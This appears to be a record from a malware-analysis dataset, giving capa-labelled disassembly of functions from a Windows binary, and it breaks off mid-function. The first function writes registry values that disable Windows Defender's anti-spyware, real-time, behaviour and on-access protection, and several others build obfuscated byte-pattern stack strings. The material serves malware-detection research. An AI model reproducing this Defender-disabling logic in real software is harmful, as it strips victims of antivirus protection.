joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800173f0
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
jmp 0x1800173f0
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180049018]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x180177095]
call fcn.1800022bb
call fcn.18000202c
movzx eax, al
test eax, eax
jne 0x180017440
xor eax, eax
jmp 0x180017617
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180017471
xor eax, eax
jmp 0x180017617
mov dword [rbp + 0x24], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableAntiSpyware
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1800174ae
xor eax, eax
jmp 0x180017617
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Real_Time_Protection
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x1800174fb
xor eax, eax
jmp 0x180017617
mov rax, qword [rbp + 0x48]
mov qword [rbp + 8], rax
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableRealtimeMonitoring
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x180017539
xor eax, eax
jmp 0x180017617
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableBehaviorMonitoring
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x18001756f
xor eax, eax
jmp 0x180017617
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableOnAccessProtection
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1800175a2
xor eax, eax
jmp 0x180017617
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableScanOnRealtimeEnable
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1800175d5
xor eax, eax
jmp 0x180017617
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x24]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableIOAVProtection
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x180017608
xor eax, eax
jmp 0x180017617
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x18003aa20]
call fcn.180001f0a
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.180001915
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x180017e70
Capabilities:
Write file on windows

Disassembly:
jmp 0x180017e70
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x180049018]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
lea rcx, [0x180177081]
call fcn.1800022bb
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x180017ed6
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x180017edd
mov al, 1
jmp 0x18001804f
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x198], rax
call fcn.18000154b
mov dword [rbp + 0x1a0], eax
mov edx, dword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1d0]
call qword [rbp + 0x198]
mov dword [rbp + 0x164], eax
call fcn.18000154b
mov dword [rbp + 0x184], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.180001f50
movzx eax, al
test eax, eax
je 0x180017f42
xor al, al
jmp 0x18001804f
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x198], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x1a0], eax
cmp dword [rbp + 0x1a0], 0
je 0x180017fb5
cmp dword [rbp + 0x1a0], 1
je 0x180017fc0
cmp dword [rbp + 0x1a0], 3
je 0x18001803e
jmp 0x18001804d
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x180018010
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x180018010
xor al, al
jmp 0x18001804f
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x18001802b
mov dword [rbp + 0x194], 1
jmp 0x180018035
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x18001804f
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x18001804f
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x18003a7f0]
call fcn.180001f0a
mov rax, rdi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
call fcn.180001915
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x18001b8c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x18001b8c0
push rbp
push rsi
push rdi
sub rsp, 0x1f0
lea rbp, [rsp + 0x20]
lea rcx, [0x18017708b]
call fcn.1800022bb
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x118], 0x48
mov byte [rbp + 0x119], 0x8d
mov byte [rbp + 0x11a], 0x3d
mov byte [rbp + 0x11b], 0x3f
mov byte [rbp + 0x11c], 0x3f
mov byte [rbp + 0x11d], 0x3f
mov byte [rbp + 0x11e], 0x3f
mov byte [rbp + 0x11f], 0x48
mov byte [rbp + 0x120], 0x8d
mov byte [rbp + 0x121], 0x35
mov byte [rbp + 0x122], 0x3f
mov byte [rbp + 0x123], 0x3f
mov byte [rbp + 0x124], 0x3f
mov byte [rbp + 0x125], 0x3f
mov byte [rbp + 0x126], 0x90
lea rax, [rbp + 0x127]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rbp + 0x128], 0xf
call fcn.18000167c
add rax, 0x30
mov qword [rbp + 0x1b8], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0xf8]
call fcn.180001375
lea rcx, [rbp + 0x168]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1a0]
lea rcx, [rbp + 0x168]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x148]
mov rcx, qword [rbp + 0x1b8]
call fcn.180001e9c
mov qword [rbp + 0x1c0], rax
mov edx, 3
mov rcx, qword [rbp + 0x1c0]
call fcn.180001da7
mov rcx, rax
call fcn.180001343
mov rcx, rax
call fcn.1800010eb
nop
lea rsp, [rbp + 0x1d0]
pop rdi
pop rsi
pop rbp
ret

Function at 0x18001d7e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x18001d7e0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x1f0
lea rbp, [rsp + 0x20]
lea rcx, [0x18017708c]
call fcn.1800022bb
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x118], pe_nt_image_headers64
mov byte [rbp + 0x119], 0x3f
mov byte [rbp + 0x11a], 0x3f
mov byte [rbp + 0x11b], 0x3f
mov byte [rbp + 0x11c], 0x3f
mov byte [rbp + 0x11d], 0x48
mov byte [rbp + 0x11e], 0x8d
mov byte [rbp + 0x11f], 0x8b
mov byte [rbp + 0x120], 0x3f
mov byte [rbp + 0x121], 0x3f
mov byte [rbp + 0x122], 0x3f
mov byte [rbp + 0x123], 0x3f
mov byte [rbp + 0x124], 0xff
mov byte [rbp + 0x125], 0x15
lea rax, [rbp + 0x126]
mov rdi, rax
xor eax, eax
mov ecx, 2
rep stosb byte [rdi], al
mov qword [rbp + 0x128], 0xe
call fcn.18000167c
add rax, 0x78
mov qword [rbp + 0x1b8], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0xf8]
call fcn.18000217b
lea rcx, [rbp + 0x168]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1a0]
lea rcx, [rbp + 0x168]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x148]
mov rcx, qword [rbp + 0x1b8]
call fcn.180001e9c
mov qword [rbp + 0x1c0], rax
mov edx, 8
mov rcx, qword [rbp + 0x1c0]
call fcn.180001da7
mov rcx, rax
call fcn.18000204f
mov rdx, rax
mov rcx, qword [rbp + 0x1f0]
call fcn.180001357
mov rax, qword [rbp + 0x1f0]
lea rsp, [rbp + 0x1d0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x18001db90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x18001db90
push rbp
push rsi
push rdi
sub rsp, 0x200
lea rbp, [rsp + 0x20]
lea rcx, [0x180177092]
call fcn.1800022bb
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x118], 0x48
mov byte [rbp + 0x119], 0x8b
mov byte [rbp + 0x11a], 0x48
mov byte [rbp + 0x11b], 0x3f
mov byte [rbp + 0x11c], 0x48
mov byte [rbp + 0x11d], 0x8d
mov byte [rbp + 0x11e], 0x15
mov byte [rbp + 0x11f], 0x3f
mov byte [rbp + 0x120], 0x3f
mov byte [rbp + 0x121], 0x3f
mov byte [rbp + 0x122], 0x3f
mov byte [rbp + 0x123], 0x4c
mov byte [rbp + 0x124], 0x89
mov byte [rbp + 0x125], 0x74
mov byte [rbp + 0x126], 0x24
mov byte [rbp + 0x127], 0x3f
mov byte [rbp + 0x128], 0x48
mov byte [rbp + 0x129], 0x8b
mov byte [rbp + 0x12a], 1
mov byte [rbp + 0x12b], 0xff
mov byte [rbp + 0x12c], 0x90
mov byte [rbp + 0x12d], 0x3f
mov byte [rbp + 0x12e], 0x3f
mov byte [rbp + 0x12f], 0x3f
mov byte [rbp + 0x130], 0x3f
mov byte [rbp + 0x131], 0x48
lea rax, [rbp + 0x132]
mov rdi, rax
xor eax, eax
mov ecx, 6
rep stosb byte [rdi], al
mov qword [rbp + 0x138], 0x1a
call fcn.18000167c
add rax, 0x30
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0xf8]
call fcn.180001802
lea rcx, [rbp + 0x178]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b0]
lea rcx, [rbp + 0x178]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x158]
mov rcx, qword [rbp + 0x1c8]
call fcn.180001e9c
mov qword [rbp + 0x1d0], rax
mov edx, 0x15
mov rcx, qword [rbp + 0x1d0]
call fcn.180001da7
mov rcx, rax
call fcn.18000204f
nop
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x18001e170
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x18001e170
push rbp
push rsi
push rdi
sub rsp, 0x200
lea rbp, [rsp + 0x20]
lea rcx, [0x18017708b]
call fcn.1800022bb
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x118], 0x48
mov byte [rbp + 0x119], 0x8b
mov byte [rbp + 0x11a], 0xd
mov byte [rbp + 0x11b], 0x3f
mov byte [rbp + 0x11c], 0x3f
mov byte [rbp + 0x11d], 0x3f
mov byte [rbp + 0x11e], 0x3f
mov byte [rbp + 0x11f], 0x48
mov byte [rbp + 0x120], 0x85
mov byte [rbp + 0x121], 0xc9
mov byte [rbp + 0x122], 0xf
mov byte [rbp + 0x123], 0x84
mov byte [rbp + 0x124], 0x3f
mov byte [rbp + 0x125], 0x3f
mov byte [rbp + 0x126], 0x3f
mov byte [rbp + 0x127], 0x3f
mov byte [rbp + 0x128], 0x80
mov byte [rbp + 0x129], 0xbe
lea rax, [rbp + 0x12a]
mov rdi, rax
xor eax, eax
mov ecx, 6
rep stosb byte [rdi], al
mov qword [rbp + 0x130], 0x12
call fcn.18000167c
add rax, 0x30
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0xf8]
call fcn.180001c3f
lea rcx, [rbp + 0x178]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b0]
lea rcx, [rbp + 0x178]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x158]
mov rcx, qword [rbp + 0x1c8]
call fcn.180001e9c
mov qword [rbp + 0x1d0], rax
mov edx, 3
mov rcx, qword [rbp + 0x1d0]
call fcn.180001da7
mov rcx, rax
call fcn.180001343
mov rcx, rax
call fcn.1800011ef
nop
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret

Function at 0x1800202f0
Capabilities:
Get common file path

Disassembly:
jmp 0x1800202f0
push rbp
push rdi
sub rsp, 0x3e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x92
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180049018]
xor rax, rbp
mov qword [rbp + 0x3b8], rax
lea rcx, [0x180177095]
call fcn.1800022bb
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x18002035a
mov eax, 5
jmp 0x18002043a
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x318]
call fcn.18000188e
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x3b0], rax
lea r8, str.edge_84ef1db2_ac78b_4f2.tmp
mov rdx, qword [rbp + 0x3b0]
lea rcx, [rbp + 0x138]
call fcn.1800020fe
nop
lea rcx, [rbp + 0x318]
call fcn.180001352
lea rcx, [rbp + 0x138]
call fcn.180001159
lea rdx, [0x18003f820]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0
je 0x180020400
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.ucrtbased.dll_fclose]
mov dword [rbp + 0x354], 1
lea rcx, [rbp + 0x138]
call fcn.180001352
mov eax, dword [rbp + 0x354]
jmp 0x18002043a
mov dword [rbp + 0x374], 0
lea rcx, [rbp + 0x138]
call fcn.180001352
mov eax, dword [rbp + 0x374]
jmp 0x18002043a
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x18003acc0]
call fcn.180001f0a
mov rax, rdi
mov rcx, qword [rbp + 0x3b8]
xor rcx, rbp
call fcn.180001915
lea rsp, [rbp + 0x3c8]
pop rdi
pop rbp
ret
Function at 0x180021e30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x180021e30
push rbp
push rsi
push rdi
sub rsp, 0x200
lea rbp, [rsp + 0x20]
lea rcx, [0x18017708b]
call fcn.1800022bb
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x118], 0x89
mov byte [rbp + 0x119], 0x3f
mov byte [rbp + 0x11a], 0x3f
mov byte [rbp + 0x11b], 0x3f
mov byte [rbp + 0x11c], 0x3f
mov byte [rbp + 0x11d], 0x3f
mov byte [rbp + 0x11e], 0xc6
mov byte [rbp + 0x11f], 0x3f
mov byte [rbp + 0x120], 0x3f
mov byte [rbp + 0x121], 0x3f
mov byte [rbp + 0x122], 0x3f
mov byte [rbp + 0x123], 0x3f
mov byte [rbp + 0x124], 0x3f
mov byte [rbp + 0x125], 0x48
mov byte [rbp + 0x126], 0x89
mov byte [rbp + 0x127], 0x3f
mov byte [rbp + 0x128], 0x3f
mov byte [rbp + 0x129], 0x3f
mov byte [rbp + 0x12a], 0x3f
mov byte [rbp + 0x12b], 0x3f
mov byte [rbp + 0x12c], pe_nt_image_headers64
mov byte [rbp + 0x12d], 0x3f
mov byte [rbp + 0x12e], 0x3f
mov byte [rbp + 0x12f], 0x3f
mov byte [rbp + 0x130], 0x3f
mov byte [rbp + 0x131], 0x48
lea rax, [rbp + 0x132]
mov rdi, rax
xor eax, eax
mov ecx, 6
rep stosb byte [rdi], al
mov qword [rbp + 0x138], 0x1a
call fcn.18000167c
add rax, 0x30
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0xf8]
call fcn.180001802
lea rcx, [rbp + 0x178]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b0]
lea rcx, [rbp + 0x178]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x158]
mov rcx, qword [rbp + 0x1c8]
call fcn.180001e9c
mov qword [rbp + 0x1d0], rax
mov edx, 0x10
mov rcx, qword [rbp + 0x1d0]
call fcn.180001da7
mov rcx, rax
call fcn.180001343
mov rcx, rax
call fcn.180001e24
nop
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x180022040
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x180022040
push rbp
push rsi
push rdi
sub rsp, 0x200
lea rbp, [rsp + 0x20]
lea rcx, [0x18017708b]
call fcn.1800022bb
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x118], 0x48
mov byte [rbp + 0x119], 0x8b
mov byte [rbp + 0x11a], 5
mov byte [rbp + 0x11b], 0x3f
mov byte [rbp + 0x11c], 0x3f
mov byte [rbp + 0x11d], 0x3f
mov byte [rbp + 0x11e], 0x3f
mov byte [rbp + 0x11f], 0x48
mov byte [rbp + 0x120], 0x85
mov byte [rbp + 0x121], 0xc0
mov byte [rbp + 0x122], 0xf
mov byte [rbp + 0x123], 0x84
mov byte [rbp + 0x124], 0x3f
mov byte [rbp + 0x125], 0x3f
mov byte [rbp + 0x126], 0x3f
mov byte [rbp + 0x127], 0x3f
mov byte [rbp + 0x128], 0x44
mov byte [rbp + 0x129], 0x38
mov byte [rbp + 0x12a], 0x60
lea rax, [rbp + 0x12b]
mov rdi, rax
xor eax, eax
mov ecx, 5
rep stosb byte [rdi], al
mov qword [rbp + 0x130], 0x13
call fcn.18000167c
add rax, 0x30
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0xf8]
call fcn.180001d70
lea rcx, [rbp + 0x178]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b0]
lea rcx, [rbp + 0x178]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x158]
mov rcx, qword [rbp + 0x1c8]
call fcn.180001e9c
mov qword [rbp + 0x1d0], rax
mov edx, 3
mov rcx, qword [rbp + 0x1d0]
call fcn.180001da7
mov rcx, rax
call fcn.180001343
mov rcx, rax
call fcn.180001e24
nop
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret

Function at 0x180023ad0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x180023ad0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x1f0
lea rbp, [rsp + 0x20]
lea rcx, [0x180177093]
call fcn.1800022bb
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x118], 0x74
mov byte [rbp + 0x119], 0x3f
mov byte [rbp + 0x11a], 0x44
mov byte [rbp + 0x11b], 0x38
mov byte [rbp + 0x11c], 0xae
mov byte [rbp + 0x11d], 0x3f
mov byte [rbp + 0x11e], 0x3f
mov byte [rbp + 0x11f], 0x3f
mov byte [rbp + 0x120], 0x3f
mov byte [rbp + 0x121], 0x74
mov byte [rbp + 0x122], 0x3f
mov byte [rbp + 0x123], 0x49
lea rax, [rbp + 0x124]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rbp + 0x128], 0xc
call fcn.18000167c
add rax, 0x30
mov qword [rbp + 0x1b8], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0xf8]
call fcn.1800011b8
lea rcx, [rbp + 0x168]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1a0]
lea rcx, [rbp + 0x168]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x148]
mov rcx, qword [rbp + 0x1b8]
call fcn.180001e9c
mov qword [rbp + 0x1c0], rax
mov edx, 5
mov rcx, qword [rbp + 0x1c0]
call fcn.180001da7
mov rcx, rax
call fcn.18000204f
mov rdx, rax
mov rcx, qword [rbp + 0x1f0]
call fcn.1800024b9
mov rax, qword [rbp + 0x1f0]
lea rsp, [rbp + 0x1d0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x180023fa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x180023fa0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x200
lea rbp, [rsp + 0x20]
lea rcx, [0x180177093]
call fcn.1800022bb
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x118], pe_nt_image_headers64
mov byte [rbp + 0x119], 0x3f
mov byte [rbp + 0x11a], 0x3f
mov byte [rbp + 0x11b], 0x3f
mov byte [rbp + 0x11c], 0x3f
mov byte [rbp + 0x11d], 0x8b
mov byte [rbp + 0x11e], 0x3f
mov byte [rbp + 0x11f], 0x3f
mov byte [rbp + 0x120], 0x3f
mov byte [rbp + 0x121], 0x3f
mov byte [rbp + 0x122], 0x3f
mov byte [rbp + 0x123], 0x45
mov byte [rbp + 0x124], 0x33
mov byte [rbp + 0x125], 0x3f
mov byte [rbp + 0x126], 0x4c
mov byte [rbp + 0x127], 0x8b
mov byte [rbp + 0x128], 0x3f
mov byte [rbp + 0x129], 0x3f
mov byte [rbp + 0x12a], 0x3f
mov byte [rbp + 0x12b], 0x3f
mov byte [rbp + 0x12c], 0x3f
mov byte [rbp + 0x12d], 0x83
lea rax, [rbp + 0x12e]
mov rdi, rax
xor eax, eax
mov ecx, 2
rep stosb byte [rdi], al
mov qword [rbp + 0x130], 0x16
call fcn.18000167c
add rax, 0x30
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0xf8]
call fcn.180001348
lea rcx, [rbp + 0x178]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b0]
lea rcx, [rbp + 0x178]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x158]
mov rcx, qword [rbp + 0x1c8]
call fcn.180001e9c
mov qword [rbp + 0x1d0], rax
mov edx, 7
mov rcx, qword [rbp + 0x1d0]
call fcn.180001da7
mov rcx, rax
call fcn.18000204f
mov rdx, rax
mov rcx, qword [rbp + 0x200]
call fcn.180001fc8
mov rax, qword [rbp + 0x200]
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800241a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x1800241a0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x200
lea rbp, [rsp + 0x20]
lea rcx, [0x180177093]
call fcn.1800022bb
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x118], 1
mov byte [rbp + 0x119], 0x75
mov byte [rbp + 0x11a], 0x3f
mov byte [rbp + 0x11b], 0x48
mov byte [rbp + 0x11c], 0x8b
mov byte [rbp + 0x11d], 0xd
mov byte [rbp + 0x11e], 0x3f
mov byte [rbp + 0x11f], 0x3f
mov byte [rbp + 0x120], 0x3f
mov byte [rbp + 0x121], 0x3f
mov byte [rbp + 0x122], 0x48
mov byte [rbp + 0x123], 0x8b
mov byte [rbp + 0x124], 9
mov byte [rbp + 0x125], pe_nt_image_headers64
mov byte [rbp + 0x126], 0x3f
mov byte [rbp + 0x127], 0x3f
mov byte [rbp + 0x128], 0x3f
mov byte [rbp + 0x129], 0x3f
mov byte [rbp + 0x12a], 0x84
mov byte [rbp + 0x12b], 0xc0
mov byte [rbp + 0x12c], 0x74
lea rax, [rbp + 0x12d]
mov rdi, rax
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
mov qword [rbp + 0x130], 0x15
call fcn.18000167c
add rax, 0x30
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0xf8]
call fcn.180001366
lea rcx, [rbp + 0x178]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b0]
lea rcx, [rbp + 0x178]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x158]
mov rcx, qword [rbp + 0x1c8]
call fcn.180001e9c
mov qword [rbp + 0x1d0], rax
mov edx, 0xe
mov rcx, qword [rbp + 0x1d0]
call fcn.180001da7
mov rcx, rax
call fcn.180001343
mov qword [rbp + 0x1d8], rax
mov edx, 2
mov rcx, qword [rbp + 0x1d8]
call fcn.180001da7
mov rcx, rax
call fcn.18000204f
mov rdx, rax
mov rcx, qword [rbp + 0x200]
call fcn.1800022d9
mov rax, qword [rbp + 0x200]
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800243c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x1800243c0
push rbp
push rsi
push rdi
sub rsp, 0x200
lea rbp, [rsp + 0x20]
lea rcx, [0x18017708b]
call fcn.1800022bb
lea rax, [rbp + 0xc8]
mov qword [rbp + 0xf8], rax
mov byte [rbp + 0x118], 0x48
mov byte [rbp + 0x119], 0x89
mov byte [rbp + 0x11a], 0x3f
mov byte [rbp + 0x11b], 0x3f
mov byte [rbp + 0x11c], 0x3f
mov byte [rbp + 0x11d], 0x3f
mov byte [rbp + 0x11e], 0x3f
mov byte [rbp + 0x11f], 0x4c
mov byte [rbp + 0x120], 0x89
mov byte [rbp + 0x121], 0x3f
mov byte [rbp + 0x122], 0x3f
mov byte [rbp + 0x123], 0x3f
mov byte [rbp + 0x124], 0x3f
mov byte [rbp + 0x125], 0x3f
mov byte [rbp + 0x126], 0x48
mov byte [rbp + 0x127], 0x89
mov byte [rbp + 0x128], 0x3f
